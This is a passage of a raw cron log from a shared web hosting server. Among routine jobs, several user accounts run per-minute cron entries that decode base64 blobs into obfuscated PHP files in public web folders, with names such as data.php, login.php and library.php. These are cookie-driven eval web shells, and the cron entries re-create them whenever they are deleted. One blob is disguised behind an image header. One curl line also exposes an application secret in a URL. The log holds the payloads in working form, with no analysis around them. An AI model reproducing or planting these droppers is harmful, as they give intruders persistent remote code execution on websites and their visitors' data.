SB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:25:02 medusa CROND[10989]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:25:02 medusa CROND[10996]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:26:01 medusa CROND[25190]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:26:02 medusa CROND[25556]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:26:02 medusa CROND[25558]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:26:02 medusa CROND[25560]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:26:02 medusa CROND[25561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:26:02 medusa CROND[25564]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:26:02 medusa CROND[25566]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:26:02 medusa CROND[25567]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:26:02 medusa CROND[25569]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:26:02 medusa CROND[25570]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:26:02 medusa CROND[25571]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:26:02 medusa CROND[25589]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:26:02 medusa CROND[25592]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:26:02 medusa CROND[25593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:27:01 medusa CROND[11660]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:27:01 medusa CROND[11721]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:27:01 medusa CROND[11722]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:27:01 medusa CROND[11725]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:27:01 medusa CROND[11728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:27:01 medusa CROND[11729]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:27:01 medusa CROND[11731]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:27:01 medusa CROND[11733]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:27:01 medusa CROND[11734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:27:01 medusa CROND[11736]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:27:01 medusa CROND[11735]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:27:01 medusa CROND[11753]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:28:01 medusa CROND[30363]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:28:01 medusa CROND[30585]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:28:01 medusa CROND[30586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:28:01 medusa CROND[30587]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
